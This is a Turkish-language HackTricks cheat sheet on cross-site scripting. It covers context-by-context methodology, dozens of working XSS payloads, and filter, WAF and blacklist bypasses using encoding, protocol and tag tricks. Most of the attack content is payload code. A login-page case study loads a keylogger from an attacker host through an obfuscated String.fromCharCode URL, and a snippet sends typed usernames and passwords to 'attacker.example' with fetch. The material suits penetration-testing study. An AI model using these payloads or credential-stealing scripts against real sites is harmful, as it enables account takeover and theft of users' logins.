%.*s
XSS (Cross Site Scripting)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Metodoloji
- HTML’de yansıtılan veya JS kodu tarafından kullanılan herhangi bir değeri (parameters, path, headers?, cookies?) kontrol ettiğinizden emin olun.
- Yansıtıldığı/kullanıldığı bağlamı bulun.
- Eğer yansıtılıyorsa
- Hangi sembolleri kullanabildiğinize bakın ve buna göre payload’u hazırlayın:
- Raw HTML içinde:
- Yeni HTML tag’leri oluşturabilir misiniz?
javascript:protokolünü destekleyen event veya attribute’ları kullanabilir misiniz?- Korumasını bypass edebilir misiniz?
- HTML içeriği herhangi bir client side JS motoru (AngularJS, VueJS, Mavo…) tarafından yorumlanıyorsa, bir Client Side Template Injection suistimal edebilirsiniz.
- JS kodu çalıştıran HTML tag’leri oluşturamıyorsanız, Dangling Markup - HTML scriptless injection suistimal edilebilir mi?
- Bir HTML tag içinde:
- Attribute’tan ve tag’den çıkarak raw HTML bağlamına geçebilir misiniz?
- JS kodu çalıştıracak yeni event/attribute’lar oluşturabilir misiniz?
- Sıkıştığınız attribute JS çalıştırmayı destekliyor mu?
- Korumasını bypass edebilir misiniz?
- JavaScript kodu içinde:
<script>tag’inden kaçabilir misiniz?- String’ten kaçıp farklı JS kodu çalıştırabilir misiniz?
- Girdiğiniz template literal’lar içinde mi (``)?
- Korumasını bypass edebilir misiniz?
- Çalıştırılan bir Javascript function ise
- Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örn:
?callback=alert(1) - Eğer kullanılıyorsa:
- Bir DOM XSS suistimal edebilirsiniz, girdinizin nasıl kontrol edildiğine ve kontrolünüz altındaki girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına dikkat edin.
Karmaşık bir XSS üzerinde çalışırken ilginizi çekebilecek konular:
Yansıtılan değerler
Bir XSS’i başarılı şekilde exploit etmek için ilk bulmanız gereken şey, web sayfasında sizin kontrolünüzde olup yansıtılan bir değerdir.
- Ara şekilde yansıtılan: Eğer bir parametrenin veya hatta path’in değeri web sayfasında yansıtılıyorsa Reflected XSS’i exploit edebilirsiniz.
- Kaydedilmiş ve yansıtılan: Eğer kontrolünüzdeki bir değer sunucuda saklanıyor ve her sayfa erişiminde yansıtılıyorsa Stored XSS’i exploit edebilirsiniz.
- JS ile erişilen: Eğer kontrolünüzdeki bir değere JS aracılığıyla erişiliyorsa DOM XSS’i exploit edebilirsiniz.
Bağlamlar
Bir XSS’i exploit etmeye çalışırken ilk bilmeniz gereken, girdinizin nerede yansıtıldığıdır. Bağlama bağlı olarak, keyfi JS kodunu farklı yollarla çalıştırabilirsiniz.
Raw HTML
Girdiniz raw HTML içinde yansıtılıyorsa JS kodu çalıştırmak için bazı HTML tag’lerini suistimal etmeniz gerekir: <img , <iframe , <svg , <script … bunlar kullanabileceğiniz birçok HTML tag’inden sadece bazılarıdır.
Ayrıca Client Side Template Injection unutmayın.
HTML tag’larının attribute’ı içinde
Girdiniz bir tag’ın attribute değerinin içinde yansıtılıyorsa deneyebileceğiniz şeyler:
- Attribute’tan ve tag’den kaçıp raw HTML bağlamına geçmek (sonra yeni bir HTML tag oluşturup suistimal etmek):
"><img [...] - Eğer attribute’tan kaçabiliyor ancak tag’den kaçamıyorsanız (
>encode edilmiş veya silinmişse), tag’a bağlı olarak JS kodu çalıştıran bir event oluşturabilirsiniz:" autofocus onfocus=alert(1) x=" - Eğer attribute’tan kaçamıyorsanız (
"encode ediliyor veya siliniyorsa), hangi attribute içinde yansıtıldığına ve tüm değeri mi yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak bunu suistimal edebilirsiniz. Örneğin,onclick=gibi bir event kontrol ediyorsanız, tıklama ile arbitrary kod çalıştırabilirsiniz. Bir diğer ilginç örnekhrefattribute’udur;javascript:protokolünü kullanarak arbitrary kod çalıştırabilirsiniz:href="javascript:alert(1)" - Girdiniz “suistimal edilemeyen tag’lar” içinde yansıtılıyorsa, vuln’u suistimal etmek için
accesskeyhilesini deneyebilirsiniz (bunu exploit etmek için bir tür sosyal mühendislik gerekebilir):" accesskey="x" onclick="alert(1)" x="
Attribute-only login XSS behind WAFs
Kurumsal bir SSO login sayfası, OAuth service parametresini <a id="forgot_btn" ...> içindeki href attribute’unda yansıtıyordu. < ve > HTML encode edilmiş olsa da çift tırnaklar edilmemişti, bu yüzden saldırgan attribute’u kapatıp aynı elementi handler eklemek için yeniden kullanabiliyordu: " onfocus="payload" x=".
- Handler’ı inject etmek: Basit payload’lar like
onclick="print(1)"engellendi, fakat WAF sadece inline attribute’lardaki ilk JavaScript ifadesini inceliyordu. Zararsız bir ifade parantez içinde başa ekleyip sonra noktalı virgül koymak, gerçek payload’un çalışmasına izin verdi:onfocus="(history.length);malicious_code_here". - Otomatik tetiklemek: Tarayıcılar fragment ile eşleşen
id’ye sahip herhangi bir elementi focus eder, bu yüzden exploit URL’sine#forgot_btneklemek anchor’ı sayfa yüklenirken focus ettirir ve click gerektirmeden handler çalışır. - Inline stub’u küçük tutmak: Hedef zaten jQuery gönderiyordu. Handler sadece
$.getScript(...)ile bir isteği başlatmak için yeterliydi; asıl keylogger saldırganın sunucusundaydı.
Tırnak kullanmadan string oluşturma
Single quote’lar URL-encoded olarak dönüyor ve escape edilmiş double quote’lar attribute’u bozduğu için payload her string’i String.fromCharCode ile üretti. Herhangi bir URL’i attribute’a yapıştırmadan önce char kodlarına çevirmeyi kolaylaştıran bir helper fonksiyonu kullanışlı olur:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Ortaya çıkan attribute şöyle görünüyordu:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Neden bu credentials çalar
Dış script (loaded from an attacker-controlled host or Burp Collaborator) document.onkeypress’i hook’ladı, tuş vuruşlarını belleğe aldı ve her saniye new Image().src = collaborator_url + keys çalıştırdı. Çünkü XSS yalnızca unauthenticated users için tetiklendiği için, hassas işlem login formunun kendisidir — attacker, usernames ve passwords’u keylogs eder hatta victim “Login” tuşuna hiç basmasa bile.
Angular’ın bir class name’i kontrol edebiliyorsanız XSS çalıştırmasına dair garip örnek:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
JavaScript kodu içinde
Bu durumda girdiğiniz bir HTML sayfasının <script> [...] </script> etiketleri arasına, bir .js dosyasına veya javascript: protokolünü kullanan bir attribute içine yansıtılır:
- Eğer yansıtma
<script> [...] </script>etiketleri arasındaysa, girişiniz her ne kadar herhangi bir tür tırnak içinde olsa bile</script>enjekte edip bu bağlamdan kaçmayı deneyebilirsiniz. Bunun nedeni tarayıcının önce HTML etiketlerini parse etmesi ve sonra içeriği işlemesidir; bu yüzden enjekte ettiğiniz</script>etiketinin HTML kodu içinde olduğunu fark etmeyecektir. - Eğer giriş bir JS stringi içinde yansıtıldıysa ve önceki hile işe yaramıyorsa, stringden çıkmanız, kodunuzu çalıştırmanız ve JS kodunu yeniden oluşturmanız gerekir (herhangi bir hata olursa, çalıştırılmayacaktır:
'-alert(1)-'';-alert(1)//\';alert(1)//- Eğer template literals içinde yansıtıldıysa
${ ... }sözdizimini kullanarak JS ifadelerini gömebilirsiniz:var greetings = `Hello, ${alert(1)}` - Unicode encode geçerli javascript kodu yazmak için işe yarar:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting, bir XSS’in tanımlanmamış değişkenleri veya fonksiyonları kullandığı senaryolarda kötüye kullanabilmeniz için fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra tanımlama fırsatını ifade eder.
Daha fazla bilgi için aşağıdaki sayfaya bakın:
Javascript Function
Bazı web sayfalarının, çalıştırılacak fonksiyonun adını parametre olarak kabul eden endpoint’leri vardır. Gerçek ortamda sık görülen bir örnek şöyle: ?callback=callbackFunc.
Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalıştırılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmek (ör. ‘Vulnerable’ yapmak) ve konsolda şu gibi hatalara bakmaktır:
.png)
Eğer zafiyet varsa, değeri göndererek basitçe bir uyarı tetikleyebilirsiniz: ?callback=alert(1). Ancak, bu endpoint’lerin içeriği genellikle sadece harf, sayı, nokta ve alt çizgi izin verecek şekilde doğruladığını görmek yaygındır ([\w\._]).
Ancak bu sınırlama olsa bile bazı eylemleri gerçekleştirmek hâlâ mümkündür. Bunun nedeni, geçerli karakterleri kullanarak DOM’daki herhangi bir öğeye erişebilmenizdir:
.png)
Bunun için bazı kullanışlı fonksiyonlar:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Ayrıca Javascript fonksiyonlarını doğrudan tetiklemeyi deneyebilirsiniz: obj.sales.delOrders.
Ancak, genellikle belirtilen fonksiyonu çalıştıran endpoints ilginç bir DOM’a sahip değildir; aynı origin içindeki diğer sayfalar daha fazla işlem yapmak için daha ilginç bir DOM barındırır.
Bu yüzden, bu zafiyeti farklı bir DOM’da kötüye kullanmak için Same Origin Method Execution (SOME) istismarı geliştirildi:
SOME - Same Origin Method Execution
DOM
Bazı JS kodu, location.href gibi bir saldırgan tarafından kontrol edilen veriyi güvenli olmayan şekilde kullanıyor. Bir saldırgan bunu keyfi JS kodu çalıştırmak için kötüye kullanabilir.
Universal XSS
Bu tür XSS’ler her yerde bulunabilir. Bunlar yalnızca bir web uygulamasının istemci tarafı istismarına bağlı değildir; herhangi bir context üzerinde etkili olabilir. Bu tür keyfi JavaScript yürütmeleri hatta RCE elde etmek, istemci ve sunuculardaki keyfi dosyaları okumak ve daha fazlası için kötüye kullanılabilir.
Bazı örnekler:
WAF bypass encoding image
.jpg)
Ham HTML içine enjeksiyon
When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it’s being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
For this cases also keep in mind Client Side Template Injection.
Not: Bir HTML yorumu şu şekilde kapatılabilir kullanılarak****-->****veya **--!>****
Bu durumda ve herhangi bir kara/beyaz listeleme yoksa, şu payloads’ları kullanabilirsiniz:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Ama, eğer tags/attributes black/whitelisting kullanılıyorsa, hangi tags’i oluşturabileceğinizi brute-force etmeniz gerekecek.
Hangi tags’in izinli olduğunu tespit ettikten sonra, bulunan geçerli tag’lerin içinde attributes/events’i brute-force ederek bağlamı nasıl istismar edebileceğinizi görmeniz gerekecek.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
Eğer geçerli hiçbir HTML tag’i bulamadıysanız, özel bir tag oluşturmayı deneyebilir ve onfocus attribute’u ile JS kodu çalıştırabilirsiniz. XSS isteğinde, sayfanın o nesneye odaklanmasını ve kodu çalıştırmasını sağlamak için URL’yi # ile bitirmeniz gerekir:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Eğer bir tür blacklist kullanılıyorsa, bazı basit hilelerle bunu bypass etmeyi deneyebilirsin:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Farklı ortamlar için daha fazla tiny XSS payload can be found here ve here.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Sonuncusu 2 unicode karakteri kullanıyor ve 5’e genişliyor: telsr
Bu tür daha fazla karakteri here.
Hangi karakterlere ayrıldığını kontrol etmek için here adresine bakın.
Click XSS - Clickjacking
Eğer zafiyeti istismar etmek için kullanıcının önceden doldurulmuş bir linke veya forma tıklaması gerekiyorsa, sayfa zayıfsa abuse Clickjacking deneyebilirsiniz.
Impossible - Dangling Markup
Eğer bir HTML etiketi oluşturup bir attribute ile JS kodu çalıştırmanın imkansız olduğunu düşünüyorsanız, Danglig Markup bölümüne bakmalısınız çünkü zafiyeti exploit etmeden JS çalıştırmadan kullanabilirsiniz.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
Eğer bir HTML taginin içindeyseniz, ilk yapmanız gereken tag’den escape etmek ve JS kodu çalıştırmak için previous section bölümünde bahsedilen tekniklerden bazılarını kullanmaktır.
Eğer tag’den escape edemiyorsanız, tag içinde yeni attribute’ler oluşturarak JS kodu çalıştırmayı deneyebilirsiniz; örneğin şu tür bir payload kullanarak (not: bu örnekte attribute’den kaçmak için çift tırnak kullanılmıştır, girdiniz doğrudan tag içinde yansıtılıyorsa bunlara ihtiyacınız olmayacaktır):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Stil olayları
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Öznitelik içinde
Even if you öznitelikten kaçamıyorsanız (" is being encoded or deleted), değerinize hangi öznitelikte yansıtıldığına ve tüm değeri mi yoksa yalnızca bir kısmını mı kontrol ettiğinize bağlı olarak bunu kötüye kullanabilirsiniz. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it’s clicked.
Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"
Bypass: event içinde HTML encoding/URL encode kullanımı
The HTML encoded characters inside the value of HTML tags attributes are çalışma zamanında çözülür. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Note that her türlü HTML encode geçerlidir:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
URL encode’in de çalışacağını unutmayın:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Unicode encode kullanarak event içinde bypass
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Öznitelik İçindeki Özel Protokoller
Burada bazı yerlerde javascript: veya data: protokollerini kullanarak herhangi bir JS kodunu çalıştırabilirsiniz. Bazıları kullanıcı etkileşimi gerektirecek, bazıları gerektirmeyecek.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Bu protokolleri enjekte edebileceğiniz yerler
Genel olarak javascript: protokolü attribute href’i kabul eden herhangi bir tag’te kullanılabilir ve çoğu attribute src’u kabul eden tag’larda (ama <img>’de değil)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Diğer obfuscation hileleri
Bu durumda, önceki bölümdeki HTML encoding ve Unicode encoding hilesi de geçerlidir çünkü bir attribute içindesiniz.
<a href="javascript:var a=''-alert(1)-''">
Ayrıca, bu durumlar için başka bir güzel numara daha var: javascript:... içindeki girdiniz URL encoded olsa bile, yürütülmeden önce URL decoded edilir. Bu yüzden, eğer escape ile string’den single quote kullanarak çıkmanız gerekiyorsa ve bunun URL encoded olduğunu görüyorsanız, unutmayın ki önemli değil, yürütme zamanında single quote olarak yorumlanacaktır.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Dikkat: Eğer URLencode + HTMLencode’i herhangi bir sırayla her ikisini de kullanarak payload’ı kodlamayı denerseniz, bu çalışmayacaktır, ancak payload içinde bunları karıştırabilirsiniz.
javascript: ile Hex ve Octal encode kullanımı
En azından iframe’in src özniteliği içinde Hex ve Octal encode kullanarak JS çalıştırmak için HTML tag’leri tanımlayabilirsiniz:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Eğer herhangi bir URL’yi rastgele bir <a href= etiketine enjekte edebiliyorsanız ve bu etiket target="_blank" and rel="opener" özniteliklerini içeriyorsa, bu davranışı suistimal etmek için aşağıdaki sayfayı kontrol edin:
on Event Handlers Bypass
Öncelikle bu sayfayı (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) kullanışlı “on” event handlers için kontrol edin.
Eğer bir blacklist bu event handler’ları oluşturmanızı engelliyorsa, aşağıdaki bypass’leri deneyebilirsiniz:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in “Sömürülemez etiketlerde” (hidden input, link, canonical, meta)
Bu here kaynağa göre hidden inputları artık şu yöntemlerle kötüye kullanmak mümkün:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Ve meta etiketlerinde:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Şuradan here: Bir XSS payload inside a hidden attribute çalıştırabilirsiniz; bunun için victim’i key combination tuşlarına basmaya ikna etmeniz gerekir. Firefox Windows/Linux’ta tuş kombinasyonu ALT+SHIFT+X’dir; OS X’te CTRL+ALT+X’dir. access key attribute içinde farklı bir anahtar kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload şu şekilde olacak: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Bu bölümde farklı encoding kullanımıyla ilgili birkaç numara zaten gösterildi. Geri dönerek nerede kullanabileceğinizi öğrenin:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Önceki bölümün Blacklist Bypasses of the previous section kısmını okuyun.
Bypasses for JavaScript code
Aşağıdaki bölümün JavaScript bypass blacklist of the following section kısmını okuyun.
CSS-Gadgets
Eğer web’in çok küçük bir bölümünde etkileşim gerektiren bir XSS bulduysanız (ör. footer’da onmouseover içeren küçük bir link), linkin tetiklenme olasılığını artırmak için o elementin kapladığı alanı değiştirmeyi deneyebilirsiniz.
Örneğin, elemente şu tarz bir stil ekleyebilirsiniz: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Ancak, eğer WAF style attribute’unu filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin şunları bulursanız
.test {display:block; color: blue; width: 100%}
ve
#someid {top: 0; font-family: Tahoma;}
Şimdi linkimizi şu şekilde değiştirebilirsiniz
<a href=“” id=someid class=test onclick=alert() a=“”>
Bu hile şu kaynaktan alınmıştır: https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
Bu durumda sizin input’unuz bir .js dosyasının JS kodu içine veya <script>...</script> etiketleri arasına ya da JS çalıştırabilecek HTML event’leri arasına veya javascript: protokolünü kabul eden attribute’lar arasına yansıtılacaktır.
Escaping <script> tag
Eğer kodunuz <script> [...] var input = 'reflected data' [...] </script> içerisinde yer alıyorsa, kolayca closing the <script> etiketinden kaçış yapabilirsiniz:
</script><img src=1 onerror=alert(document.domain)>
Note that in this example we tek tırnağı bile kapatmadığımızı unutmayın. Bunun nedeni HTML ayrıştırmasının önce tarayıcı tarafından yapılmasıdır, bu işlem sayfa öğelerini, script blokları da dahil olmak üzere belirlemeyi içerir. Gömülü script’leri anlamak ve yürütmek için JavaScript’in ayrıştırılması ise ancak daha sonra gerçekleştirilir.
JS kodu içinde
Eğer <> temizleniyorsa, girdinizin bulunduğu yerde hala string’i escape ederek ve keyfi JS çalıştırarak işlem yapabilirsiniz. JS sözdizimini düzeltmek önemlidir; çünkü herhangi bir hata varsa JS kodu çalıştırılmayacaktır:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Kullanıcı girdisi tırnak içinde bir JavaScript stringine düştüğünde (örn. server-side echo ile inline bir script’e), stringi sonlandırup kod enjekte edebilir ve sözdizimini geçerli tutmak için onarabilirsiniz. Genel iskelet:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Zafiyetli parametrenin bir JS string’ine yansıtıldığı durum için örnek URL deseni:
?param=test";<INJECTION>;a="
Bu, HTML bağlamına dokunmaya gerek kalmadan saldırgan JS’nin çalıştırılmasını sağlar (saf JS-in-JS). Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.
Template literals ``
Tek tırnak ve çift tırnaktan ayrı olarak strings oluşturmak için JS ayrıca backticks `` kabul eder. Buna template literals denir çünkü ${ ... } sözdizimini kullanarak gömülü JS ifadelerine izin verir.
Bu nedenle, girdinizin backticks kullanan bir JS string’i içinde yansıtılıyor ise, ${ ... } sözdizimini istismar ederek arbitrary JS code çalıştırabilirsiniz:
Bu, abused edilerek şu şekilde yapılabilir:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Encoded code yürütme
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Teslim edilebilir payloads ile eval(atob()) ve scope nüansları
URL’leri daha kısa tutmak ve basit anahtar kelime filtrelerini atlatmak için gerçek mantığınızı base64 ile kodlayıp eval(atob('...')) ile çalıştırabilirsiniz. Eğer basit anahtar kelime filtreleri alert, eval veya atob gibi tanımlayıcıları engelliyorsa, tarayıcıda aynı şekilde derlenen ancak dize-eşleme filtrelerini atlatan Unicode-kaçışlı tanımlayıcılar kullanın:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Önemli kapsam farkı: eval() içinde tanımlanan const/let blok kapsamlıdır ve global değişkenler oluşturmazlar; daha sonraki scriptlerden erişilemezler. Gerektiğinde global, yeniden bağlanamaz hook’ları tanımlamak için dinamik olarak enjekte edilmiş bir <script> elementi kullanın (ör. bir form handler’ını ele geçirmek için):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referans: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Encode ile JS yürütme
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists teknikleri
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Özel kaçışlar
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
JS kodu içindeki boşlukların yerine koyulması
<TAB>
/**/
JavaScript comments (kaynak: JavaScript Comments hile)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
